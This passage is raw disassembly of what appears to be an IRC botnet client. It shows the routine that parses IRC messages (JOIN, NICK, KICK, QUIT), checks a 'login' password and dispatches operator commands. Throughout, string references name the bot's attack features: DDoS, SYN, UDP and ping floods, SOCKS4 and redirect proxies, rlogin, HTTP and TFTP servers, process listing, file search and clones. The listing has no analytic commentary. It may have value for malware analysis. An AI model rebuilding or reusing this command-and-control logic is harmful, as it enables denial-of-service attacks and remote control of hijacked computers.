[ebp+arg_4] call sub_405D17 mov eax, [ebp+arg_20] add esp, 0Ch cmp dword ptr [eax], 0 jnz loc_409AC6 loc_409A14: ; CODE XREF: sub_409848+3D7j push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_409A1F: ; CODE XREF: sub_409848+6D3j ; sub_409848+939j ... push [ebp+arg_4] call sub_405D17 jmp loc_40E7C6 ; --------------------------------------------------------------------------- loc_409A2C: ; CODE XREF: sub_409848+1A4j mov edx, [ebp+var_A0] push 4 pop eax mov edi, edx mov esi, offset a001 ; "001" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40FB04 mov edi, edx mov esi, offset a005 ; "005" mov ecx, eax xor ebx, ebx repe cmpsb jz loc_40FB04 mov edi, edx mov esi, offset a302 ; "302" mov ecx, eax xor ebx, ebx repe cmpsb jnz short loc_409A8F push offset a@ ; "@" push [ebp+var_98] call sub_417440 test eax, eax pop ecx pop ecx jz short loc_409AC6 push 9Fh inc eax push eax push [ebp+arg_1C] jmp loc_409D34 ; --------------------------------------------------------------------------- loc_409A8F: ; CODE XREF: sub_409848+220j mov ecx, eax mov edi, edx mov esi, offset a433 ; "433" xor eax, eax repe cmpsb jnz short loc_409ACE push eax push dword_42FCE0 push dword_42FCDC push [ebp+arg_10] call sub_411114 push [ebp+arg_10] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405D17 add esp, 1Ch loc_409AC6: ; CODE XREF: sub_409848+DDj ; sub_409848+E9j ... xor eax, eax loc_409AC8: ; CODE XREF: sub_409848+52j inc eax loc_409AC9: ; CODE XREF: sub_409848+16FEj ; sub_409848+34F4j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409ACE: ; CODE XREF: sub_409848+254j mov edi, [ebp+arg_18] push 2 pop edx loc_409AD4: ; CODE XREF: sub_409848+2CDj lea eax, [ebp+var_8F0] mov esi, edi loc_409ADC: ; CODE XREF: sub_409848+2B0j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_409AFE test cl, cl jz short loc_409AFA mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_409AFE inc esi inc esi inc eax inc eax test cl, cl jnz short loc_409ADC loc_409AFA: ; CODE XREF: sub_409848+29Ej xor eax, eax jmp short loc_409B03 ; --------------------------------------------------------------------------- loc_409AFE: ; CODE XREF: sub_409848+29Aj ; sub_409848+2A8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_409B03: ; CODE XREF: sub_409848+2B4j test eax, eax jnz short loc_409B0E mov [ebp+var_1C], 1 loc_409B0E: ; CODE XREF: sub_409848+2BDj add edi, 80h dec edx jnz short loc_409AD4 mov edi, [ebp+var_A0] push 5 mov esi, offset aKick ; "KICK" pop ecx xor eax, eax repe cmpsb jnz loc_409C24 mov edi, [ebp+arg_18] push 2 pop ebx loc_409B35: ; CODE XREF: sub_409848+393j cmp byte ptr [edi], 0 jz loc_409BD4 push 7Fh lea eax, [ebp+var_8F0] push edi push eax call sub_416A00 add esp, 0Ch cmp [ebp+var_98], 0 jz short loc_409BD4 mov esi, [ebp+var_98] lea eax, [ebp+var_F0] loc_409B65: ; CODE XREF: sub_409848+339j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_409B87 test cl, cl jz short loc_409B83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_409B87 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_409B65 loc_409B83: ; CODE XREF: sub_409848+327j xor eax, eax jmp short loc_409B8C ; --------------------------------------------------------------------------- loc_409B87: ; CODE XREF: sub_409848+323j ; sub_409848+331j sbb eax, eax sbb eax, 0FFFFFFFFh loc_409B8C: ; CODE XREF: sub_409848+33Dj test eax, eax jnz short loc_409BD4 and [edi], al lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_416975 lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_F0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_405D17 lea eax, [ebp+var_2F0] push eax call sub_401F0F add esp, 20h loc_409BD4: ; CODE XREF: sub_409848+2F0j ; sub_409848+30Fj ... add edi, 80h dec ebx jnz loc_409B35 mov esi, [ebp+var_98] mov eax, [ebp+arg_10] loc_409BEA: ; CODE XREF: sub_409848+3BEj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_409C0C test cl, cl jz short loc_409C08 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_409C0C inc eax inc eax inc esi inc esi test cl, cl jnz short loc_409BEA loc_409C08: ; CODE XREF: sub_409848+3ACj xor eax, eax jmp short loc_409C11 ; --------------------------------------------------------------------------- loc_409C0C: ; CODE XREF: sub_409848+3A8j ; sub_409848+3B6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_409C11: ; CODE XREF: sub_409848+3C2j test eax, eax jnz loc_409AC6 mov eax, [ebp+arg_20] and dword ptr [eax], 0 jmp loc_409A14 ; --------------------------------------------------------------------------- loc_409C24: ; CODE XREF: sub_409848+2E1j mov edi, [ebp+var_A0] push 5 mov esi, offset aNick ; "NICK" pop ecx xor eax, eax repe cmpsb jnz loc_409E04 mov eax, [ebp+var_9C] or [ebp+var_1C], 0FFFFFFFFh mov ebx, [ebp+arg_18] inc eax sub [ebp+var_1C], eax mov [ebp+arg_0], eax mov [ebp+var_20], 2 loc_409C57: ; CODE XREF: sub_409848+4A0j lea eax, [ebp+var_8F0] mov esi, ebx loc_409C5F: ; CODE XREF: sub_409848+433j mov dl, [esi] mov cl, dl cmp dl, [eax] jnz short loc_409C81 test cl, cl jz short loc_409C7D mov dl, [esi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_409C81 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_409C5F loc_409C7D: ; CODE XREF: sub_409848+421j xor eax, eax jmp short loc_409C86 ; --------------------------------------------------------------------------- loc_409C81: ; CODE XREF: sub_409848+41Dj ; sub_409848+42Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_409C86: ; CODE XREF: sub_409848+437j test eax, eax jnz short loc_409CDF lea eax, [ebp+var_8F0] push 21h push eax call sub_417E80 mov edi, eax test edi, edi pop ecx pop ecx jz short loc_409CDF mov eax, [ebp+var_1C] mov edx, [ebp+arg_0] lea ecx, [ebx+2] mov byte ptr [ebx], 3Ah lea esi, [eax+ecx] loc_409CAF: ; CODE XREF: sub_409848+46Fj mov al, [edx] mov [esi+edx], al inc edx test al, al jnz short loc_409CAF mov eax, edi mov esi, edi loc_409CBD: ; CODE XREF: sub_409848+47Aj mov dl, [eax] inc eax test dl, dl jnz short loc_409CBD sub eax, esi dec ecx loc_409CC7: ; CODE XREF: sub_409848+485j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_409CC7 mov edi, ecx mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_409CDF: ; CODE XREF: sub_409848+440j ; sub_409848+456j add ebx, 80h dec [ebp+var_20] jnz loc_409C57 cmp [ebp+arg_0], 0 jz loc_409AC6 mov esi, [ebp+arg_10] lea eax, [ebp+var_F0] loc_409D01: ; CODE XREF: sub_409848+4D5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_409D23 test cl, cl jz short loc_409D1F mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_409D23 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_409D01 loc_409D1F: ; CODE XREF: sub_409848+4C3j xor eax, eax jmp short loc_409D28 ; --------------------------------------------------------------------------- loc_409D23: ; CODE XREF: sub_409848+4BFj ; sub_409848+4CDj sbb eax, eax sbb eax, 0FFFFFFFFh loc_409D28: ; CODE XREF: sub_409848+4D9j test eax, eax jnz short loc_409D41 push 0Fh push [ebp+arg_0] push [ebp+arg_10] loc_409D34: ; CODE XREF: sub_409848+242j call sub_416A00 add esp, 0Ch jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_409D41: ; CODE XREF: sub_409848+4E2j mov edx, [ebp+arg_18] xor edi, edi loc_409D46: ; CODE XREF: sub_409848+540j cmp byte ptr [edx], 0 jz short loc_409D7E lea eax, [ebp+var_8F0] mov esi, edx loc_409D53: ; CODE XREF: sub_409848+527j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_409D75 test cl, cl jz short loc_409D71 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_409D75 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_409D53 loc_409D71: ; CODE XREF: sub_409848+515j xor eax, eax jmp short loc_409D7A ; --------------------------------------------------------------------------- loc_409D75: ; CODE XREF: sub_409848+511j ; sub_409848+51Fj sbb eax, eax sbb eax, 0FFFFFFFFh loc_409D7A: ; CODE XREF: sub_409848+52Bj test eax, eax jz short loc_409D8F loc_409D7E: ; CODE XREF: sub_409848+501j inc edi add edx, 80h cmp edi, 2 jl short loc_409D46 jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_409D8F: ; CODE XREF: sub_409848+534j lea eax, [ebp+var_8F0] push 21h push eax call sub_417E80 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_409AC6 mov ecx, [ebp+arg_0] lea edx, [ecx+1] loc_409DAF: ; CODE XREF: sub_409848+56Cj mov al, [ecx] inc ecx test al, al jnz short loc_409DAF sub ecx, edx mov edx, ebx lea esi, [edx+1] loc_409DBD: ; CODE XREF: sub_409848+57Aj mov al, [edx] inc edx test al, al jnz short loc_409DBD sub edx, esi add edx, ecx cmp edx, 7Eh ja loc_409AC6 push ebx push [ebp+arg_0] shl edi, 7 add edi, [ebp+arg_18] push offset aSS_3 ; ":%s%s" push edi call sub_416975 push 0 push 0 lea eax, [ebp+var_354] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_405D62 add esp, 24h jmp loc_409AC6 ; --------------------------------------------------------------------------- loc_409E04: ; CODE XREF: sub_409848+3EEj mov edi, [ebp+var_A0] mov ebx, offset aPart ; "PART" push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_409E2E mov edi, [ebp+var_A0] push 5 mov esi, offset aQuit ; "QUIT" pop ecx xor eax, eax repe cmpsb jnz short loc_409E7E loc_409E2E: ; CODE XREF: sub_409848+5D0j mov esi, [ebp+arg_18] xor eax, eax mov [ebp+var_10], esi loc_409E36: ; CODE XREF: sub_409848+634j cmp byte ptr [esi], 0 jz short loc_409E6C mov edi, [ebp+var_A4] loc_409E41: ; CODE XREF: sub_409848+615j mov dl, [esi] mov cl, dl cmp dl, [edi] jnz short loc_409E63 test cl, cl jz short loc_409E5F mov dl, [esi+1] mov cl, dl cmp dl, [edi+1] jnz short loc_409E63 inc esi inc esi inc edi inc edi test cl, cl jnz short loc_409E41 loc_409E5F: ; CODE XREF: sub_409848+603j xor ecx, ecx jmp short loc_409E68 ; --------------------------------------------------------------------------- loc_409E63: ; CODE XREF: sub_409848+5FFj ; sub_409848+60Dj sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_409E68: ; CODE XREF: sub_409848+619j test ecx, ecx jz short loc_409EC1 loc_409E6C: ; CODE XREF: sub_409848+5F1j mov esi, [ebp+var_10] inc eax add esi, 80h cmp eax, 2 mov [ebp+var_10], esi jl short loc_409E36 loc_409E7E: ; CODE XREF: sub_409848+5E4j mov edi, [ebp+var_A0] push 4 mov esi, offset a353 ; "353" pop ecx xor eax, eax repe cmpsb jnz loc_409F42 mov esi, [ebp+var_94] mov eax, [ebp+arg_8] loc_409E9F: ; CODE XREF: sub_409848+673j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_409F20 test cl, cl jz short loc_409EBD mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_409F20 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_409E9F loc_409EBD: ; CODE XREF: sub_409848+661j xor eax, eax jmp short loc_409F25 ; --------------------------------------------------------------------------- loc_409EC1: ; CODE XREF: sub_409848+622j mov ecx, [ebp+arg_18] shl eax, 7 and byte ptr [eax+ecx], 0 lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out." push eax call sub_416975 lea eax, [ebp+var_2F0] push eax call sub_401F0F mov edi, [ebp+var_A0] add esp, 10h push 5 mov esi, ebx pop ecx xor eax, eax repe cmpsb jnz loc_409AC6 lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_A4] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_409A1F ; --------------------------------------------------------------------------- loc_409F20: ; CODE XREF: sub_409848+65Dj ; sub_409848+66Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_409F25: ; CODE XREF: sub_409848+677j test eax, eax jnz short loc_409F32 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_409F32: ; CODE XREF: sub_409848+6DFj push [ebp+var_94] push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s." jmp loc_40FAF8 ; --------------------------------------------------------------------------- loc_409F42: ; CODE XREF: sub_409848+648j mov edi, [ebp+var_A0] mov eax, offset aPrivmsg ; "PRIVMSG" push 8 xor edx, edx mov esi, eax pop ecx repe cmpsb mov edx, offset aNotice ; "NOTICE" jz short loc_409F92 mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor ebx, ebx repe cmpsb jz short loc_409F92 mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor ebx, ebx repe cmpsb jnz loc_40F93F cmp dword_42FCC8, ebx jz loc_40F93F loc_409F92: ; CODE XREF: sub_409848+713j ; sub_409848+724j mov edi, [ebp+var_A0] mov ebx, [ebp+var_20] mov esi, eax push 8 pop ecx xor eax, eax repe cmpsb jz loc_40A097 mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jz loc_40A097 mov eax, [ebp+var_98] inc [ebp+var_94] mov [ebp+var_20], 4 mov [ebp+var_9C], eax loc_409FD8: ; CODE XREF: sub_409848+90Dj ; sub_409848+94Cj ... mov ebx, [ebp+var_20] shl ebx, 2 lea eax, [ebp+ebx+var_A4] mov ecx, [eax] lea edx, [ecx+1] mov [eax], edx mov al, byte_42FCD4 cmp [ecx], al mov [ebp+var_BC], edx jnz loc_409AC6 push 6 mov edi, edx mov esi, offset aLogin ; "login" pop ecx xor eax, eax repe cmpsb jz loc_40F947 push 2 mov edi, edx mov esi, offset dword_42A8DC pop ecx xor eax, eax repe cmpsb jz loc_40F947 cmp [ebp+var_1C], eax jnz short loc_40A044 mov edi, [ebp+var_A0] push 4 mov esi, offset dword_42A8E0 pop ecx xor eax, eax repe cmpsb jnz loc_40F93F loc_40A044: ; CODE XREF: sub_409848+7E2j xor eax, eax cmp [ebp+arg_28], eax jnz loc_40F93F cmp dword_4301C0, eax mov [ebp+var_10], eax jle loc_40A359 mov [ebp+var_1C], offset dword_47FF58 loc_40A065: ; CODE XREF: sub_409848+997j mov edi, [ebp+var_1C] mov esi, edx loc_40A06A: ; CODE XREF: sub_409848+846j mov cl, [edi] mov al, cl cmp cl, [esi] jnz loc_40A1C3 test al, al jz short loc_40A090 mov cl, [edi+1] mov al, cl cmp cl, [esi+1] jnz loc_40A1C3 inc edi inc edi inc esi inc esi test al, al jnz short loc_40A06A loc_40A090: ; CODE XREF: sub_409848+830j xor eax, eax jmp loc_40A1C8 ; --------------------------------------------------------------------------- loc_40A097: ; CODE XREF: sub_409848+75Cj ; sub_409848+771j mov edi, [ebp+var_A0] push 7 mov esi, edx pop ecx xor eax, eax repe cmpsb jnz short loc_40A0AF mov [ebp+var_4], 1 loc_40A0AF: ; CODE XREF: sub_409848+85Ej cmp [ebp+var_9C], 0 jz loc_409AC6 push offset dword_42A8D8 push [ebp+var_9C] call sub_417440 test eax, eax pop ecx pop ecx jz short loc_40A0D8 cmp [ebp+var_4], 0 jz short loc_40A0E4 loc_40A0D8: ; CODE XREF: sub_409848+888j lea eax, [ebp+var_F0] mov [ebp+var_9C], eax loc_40A0E4: ; CODE XREF: sub_409848+88Ej cmp [ebp+var_98], 0 jz loc_409AC6 inc [ebp+var_98] jz short loc_40A133 cmp [ebp+arg_10], 0 jz short loc_40A133 lea eax, [ebp+var_4BC] lea edx, [eax+1] loc_40A108: ; CODE XREF: sub_409848+8C5j mov cl, [eax] inc eax test cl, cl jnz short loc_40A108 sub eax, edx push eax push [ebp+var_98] lea eax, [ebp+var_4BC] push eax call sub_418270 add esp, 0Ch mov ebx, eax neg ebx sbb ebx, ebx add ebx, 4 mov [ebp+var_20], ebx loc_40A133: ; CODE XREF: sub_409848+8AFj ; sub_409848+8B5j mov eax, ebx shl eax, 2 mov edx, [ebp+eax+var_A4] test edx, edx jz loc_409AC6 push 0Ah mov edi, edx mov esi, offset dword_42A8CC pop ecx xor ebx, ebx repe cmpsb jnz loc_409FD8 mov esi, [ebp+var_9C] mov bl, [esi] cmp bl, 23h jz short loc_40A186 mov ecx, dword_480AE4 mov ecx, off_42FDC0[ecx*4] cmp byte ptr [ecx], 0 jz short loc_40A186 push ecx push esi push offset dword_42A8B0 jmp loc_409A1F ; --------------------------------------------------------------------------- loc_40A186: ; CODE XREF: sub_409848+91Ej ; sub_409848+930j mov edi, edx push 6 mov esi, offset dword_42A8A8 pop ecx xor edx, edx repe cmpsb jnz loc_409FD8 mov eax, [ebp+eax+var_A0] test eax, eax jz loc_409FD8 cmp bl, 23h jz loc_409FD8 push eax push [ebp+var_9C] push offset dword_42A890 jmp loc_409A1F ; --------------------------------------------------------------------------- loc_40A1C3: ; CODE XREF: sub_409848+828j ; sub_409848+83Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40A1C8: ; CODE XREF: sub_409848+84Aj test eax, eax jz short loc_40A1EA inc [ebp+var_10] mov eax, [ebp+var_10] add [ebp+var_1C], 0B8h cmp eax, dword_4301C0 jl loc_40A065 jmp loc_40A359 ; --------------------------------------------------------------------------- loc_40A1EA: ; CODE XREF: sub_409848+982j push offset asc_4285C0 ; " :" push [ebp+arg_0] call sub_417440 test eax, eax pop ecx pop ecx jz loc_409AC6 mov esi, [ebp+var_10] mov cl, byte_42FCD4 imul esi, 0B8h mov [eax+2], cl mov cl, byte_42FCD4 mov [eax+3], cl push 9Fh lea ecx, dword_47FF70[esi] push ecx add eax, 4 push eax call sub_416A00 lea eax, dword_47FF58[esi] lea edi, [ebp+ebx+var_64] add esp, 0Ch mov [ebp+var_10], 0Fh mov [ebp+var_1C], eax mov esi, edi loc_40A24A: ; CODE XREF: sub_409848+AA6j push [ebp+var_10] lea eax, [ebp+var_C8] push offset aD_1 ; "$%d-" push eax call sub_416975 lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_417440 add esp, 14h test eax, eax jz short loc_40A2B3 cmp dword ptr [esi], 0 jz short loc_40A2B8 mov eax, [ebp+var_1C] lea edx, [eax+1] loc_40A27F: ; CODE XREF: sub_409848+A3Cj mov cl, [eax] inc eax test cl, cl jnz short loc_40A27F sub eax, edx add [ebp+var_14], eax jz short loc_40A2E4 push dword ptr [esi-4] push [ebp+var_14] call sub_417440 test eax, eax pop ecx pop ecx jz short loc_40A2E4 push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_4071CF add esp, 0Ch jmp short loc_40A2E4 ; --------------------------------------------------------------------------- loc_40A2B3: ; CODE XREF: sub_409848+A2Aj cmp dword ptr [esi], 0 jnz short loc_40A2E4 loc_40A2B8: ; CODE XREF: sub_409848+A2Fj push 2 lea eax, [ebp+var_C8] push eax lea eax, [ebp+var_24] push eax call sub_416A00 and [ebp+var_22], 0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_4071CF add esp, 18h loc_40A2E4: ; CODE XREF: sub_409848+A43j ; sub_409848+A54j ... dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg loc_40A24A mov [ebp+var_10], 10h mov esi, edi loc_40A2FD: ; CODE XREF: sub_409848+B02j push [ebp+var_10] lea eax, [ebp+var_C8] push offset aD_0 ; "$%d" push eax call sub_416975 lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_417440 add esp, 14h test eax, eax jz short loc_40A340 mov eax, [esi] test eax, eax jz short loc_40A340 push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_4071CF add esp, 0Ch loc_40A340: ; CODE XREF: sub_409848+ADDj ; sub_409848+AE3j dec [ebp+var_10] sub esi, 4 cmp [ebp+var_10], 0 jg short loc_40A2FD mov edx, [ebp+var_BC] mov [ebp+var_8], 1 loc_40A359: ; CODE XREF: sub_409848+810j ; sub_409848+99Dj mov al, byte_42FCD4 cmp [edx], al jz short loc_40A36C cmp [ebp+var_8], 0 jz loc_40A548 loc_40A36C: ; CODE XREF: sub_409848+B18j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4071CF lea eax, [ebp+var_F0] push eax push offset aUser_2 ; "$user" push edi call sub_4071CF push [ebp+var_9C] push offset aChan ; "$chan" push edi call sub_4071CF push 0 push 0 lea eax, [ebp+var_C8] push 2 push eax call sub_411114 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4071CF add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_4071CF mov esi, offset aChr ; "$chr(" push esi push edi call sub_417440 add esp, 14h jmp loc_40A4CC ; --------------------------------------------------------------------------- loc_40A3E3: ; CODE XREF: sub_409848+C86j push esi push [ebp+arg_0] call sub_417440 mov [ebp+var_BC], eax add eax, 5 push 4 push eax lea eax, [ebp+var_C8] push eax call sub_416A00 lea eax, [ebp+var_C8] push offset asc_42A850 ; ")" push eax call sub_4177E9 add esp, 1Ch cmp [ebp+var_C8], 30h jl short loc_40A42A cmp [ebp+var_C8], 39h jle short loc_40A440 loc_40A42A: ; CODE XREF: sub_409848+BD7j push 3 lea eax, [ebp+var_C8] push offset a63 ; "63" push eax call sub_416A00 add esp, 0Ch loc_40A440: ; CODE XREF: sub_409848+BE0j lea eax, [ebp+var_C8] push eax call sub_416D02 test eax, eax pop ecx jle short loc_40A463 lea eax, [ebp+var_C8] push eax call sub_416D02 pop ecx mov [ebp+var_24], al jmp short loc_40A474 ; --------------------------------------------------------------------------- loc_40A463: ; CODE XREF: sub_409848+C07j call sub_416B31 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_24], dl loc_40A474: ; CODE XREF: sub_409848+C19j and [ebp+var_23], 0 lea eax, [ebp+var_C8] lea edx, [eax+1] loc_40A481: ; CODE XREF: sub_409848+C3Ej mov cl, [eax] inc eax test cl, cl jnz short loc_40A481 sub eax, edx mov ecx, eax xor eax, eax lea edi, [ebp+var_C8] stosd stosd add ecx, 6 push ecx push [ebp+var_BC] stosd lea eax, [ebp+var_C8] push eax call sub_416A00 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_0] call sub_4071CF push esi push [ebp+arg_0] call sub_417440 add esp, 20h loc_40A4CC: ; CODE XREF: sub_409848+B96j test eax, eax jnz loc_40A3E3 mov esi, 1FFh push esi push [ebp+arg_0] lea eax, [ebp+var_2204] push eax call sub_416A00 push esi lea eax, [ebp+var_2204] push eax lea eax, [ebp+var_2404] push eax call sub_416A00 mov esi, offset asc_422B00 ; " " lea eax, [ebp+var_2404] push esi push eax call sub_4177E9 xor edi, edi add esp, 20h mov [ebp+var_A4], eax inc edi loc_40A51B: ; CODE XREF: sub_409848+CE8j push esi push 0 call sub_4177E9 mov [ebp+edi*4+var_A4], eax inc edi cmp edi, 20h pop ecx pop ecx jl short loc_40A51B lea eax, [ebp+ebx+var_A4] mov ecx, [eax] test ecx, ecx jz loc_409AC6 add ecx, 3 mov [eax], ecx loc_40A548: ; CODE XREF: sub_409848+B1Ej mov eax, [ebp+ebx+var_A4] push 8 mov edi, eax mov esi, offset aRndnick ; "rndnick" pop ecx xor edx, edx repe cmpsb mov [ebp+var_1C], eax jz loc_40F8F2 push 3 mov edi, eax mov esi, offset aRn ; "rn" pop ecx xor edx, edx repe cmpsb jz loc_40F8F2 push 4 mov edi, eax mov esi, offset aDie ; "die" pop ecx xor edx, edx repe cmpsb jz loc_40EE55 push 2 mov edi, eax mov esi, offset aD ; "d" pop ecx xor edx, edx repe cmpsb jz loc_40EE55 push 7 mov edi, eax mov esi, offset aLogout ; "logout" pop ecx xor edx, edx repe cmpsb jz loc_40ED67 push 3 mov edi, eax mov esi, offset aLo ; "lo" pop ecx xor edx, edx repe cmpsb jz loc_40ED67 push 8 mov edi, eax mov esi, offset aVersion ; "version" pop ecx xor edx, edx repe cmpsb jz loc_40ED49 push 4 mov edi, eax mov esi, offset aVer ; "ver" pop ecx xor edx, edx repe cmpsb jz loc_40ED49 push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz loc_40EC4A push 4 mov edi, eax mov esi, offset aSec ; "sec" pop ecx xor edx, edx repe cmpsb jz loc_40EC4A push 9 mov edi, eax mov esi, offset aUnsecure ; "unsecure" pop ecx xor edx, edx repe cmpsb jz loc_40EC4A push 6 mov edi, eax mov esi, offset aUnsec ; "unsec" pop ecx xor edx, edx repe cmpsb jz loc_40EC4A push 7 mov edi, eax mov esi, offset aSocks4 ; "socks4" pop ecx xor edx, edx repe cmpsb jz loc_40EB25 push 3 mov edi, eax mov esi, offset aS4 ; "s4" pop ecx xor edx, edx repe cmpsb jz loc_40EB25 push 0Bh mov edi, eax mov esi, offset aSocks4stop ; "socks4stop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A692 push [ebp+ebx+var_A0] push 12h push offset aServer_0 ; "Server" push offset aSocks4_0 ; "[SOCKS4]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A692: ; CODE XREF: sub_409848+E30j push 0Bh mov edi, eax mov esi, offset aRloginstop ; "rloginstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A6BA push [ebp+ebx+var_A0] push 7 push offset aServer_0 ; "Server" push offset aRlogind ; "[RLOGIND]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A6BA: ; CODE XREF: sub_409848+E58j push 9 mov edi, eax mov esi, offset aHttpstop ; "httpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A6E2 push [ebp+ebx+var_A0] push 4 push offset aServer_0 ; "Server" push offset aHttpd ; "[HTTPD]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A6E2: ; CODE XREF: sub_409848+E80j push 8 mov edi, eax mov esi, offset aLogstop ; "logstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A70A push [ebp+ebx+var_A0] push 1Dh push offset aLogList ; "Log list" push offset aLog ; "[LOG]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_409848+EA8j push 0Dh mov edi, eax mov esi, offset aRedirectstop ; "redirectstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A732 push [ebp+ebx+var_A0] push 11h push offset aTcpRedirect ; "TCP redirect" push offset aRedirect_0 ; "[REDIRECT]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A732: ; CODE XREF: sub_409848+ED0j push 0Ah mov edi, eax mov esi, offset aDdos_stop ; "ddos.stop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A75A push [ebp+ebx+var_A0] push 0Bh push offset aDdosFlood ; "DDoS flood" push offset aDdos ; "[DDoS]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A75A: ; CODE XREF: sub_409848+EF8j push 8 mov edi, eax mov esi, offset aSynstop ; "synstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A782 push [ebp+ebx+var_A0] push 0Ch push offset aSynFlood ; "Syn flood" push offset aSyn_0 ; "[SYN]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A782: ; CODE XREF: sub_409848+F20j push 8 mov edi, eax mov esi, offset aUdpstop ; "udpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A7AA push [ebp+ebx+var_A0] push 10h push offset aUdpFlood ; "UDP flood" push offset aUpd ; "[UPD]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A7AA: ; CODE XREF: sub_409848+F48j push 9 mov edi, eax mov esi, offset aPingstop ; "pingstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A7D2 push [ebp+ebx+var_A0] push 0Fh push offset aPingFlood ; "Ping flood" push offset aPing_1 ; "[PING]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A7D2: ; CODE XREF: sub_409848+F70j push 9 mov edi, eax mov esi, offset aTftpstop ; "tftpstop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A7FA push [ebp+ebx+var_A0] push 5 push offset aServer_0 ; "Server" push offset aTftp_0 ; "[TFTP]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40A7FA: ; CODE XREF: sub_409848+F98j push 0Dh mov edi, eax mov esi, offset aFindfilestop ; "findfilestop" pop ecx xor edx, edx repe cmpsb jz loc_40EAF6 push 7 mov edi, eax mov esi, offset aFfstop ; "ffstop" pop ecx xor edx, edx repe cmpsb jz loc_40EAF6 push 0Ah mov edi, eax mov esi, offset aProcsstop ; "procsstop" pop ecx xor edx, edx repe cmpsb jz loc_40EAE1 push 7 mov edi, eax mov esi, offset aPsstop ; "psstop" pop ecx xor edx, edx repe cmpsb jz loc_40EAE1 push 0Ah mov edi, eax mov esi, offset aClonestop ; "clonestop" pop ecx xor edx, edx repe cmpsb jnz short loc_40A872 push [ebp+ebx+var_A0] push 18h push offset aClone ; "Clone" push offset aClones ; "[CLONES]" jmp loc_40EB09 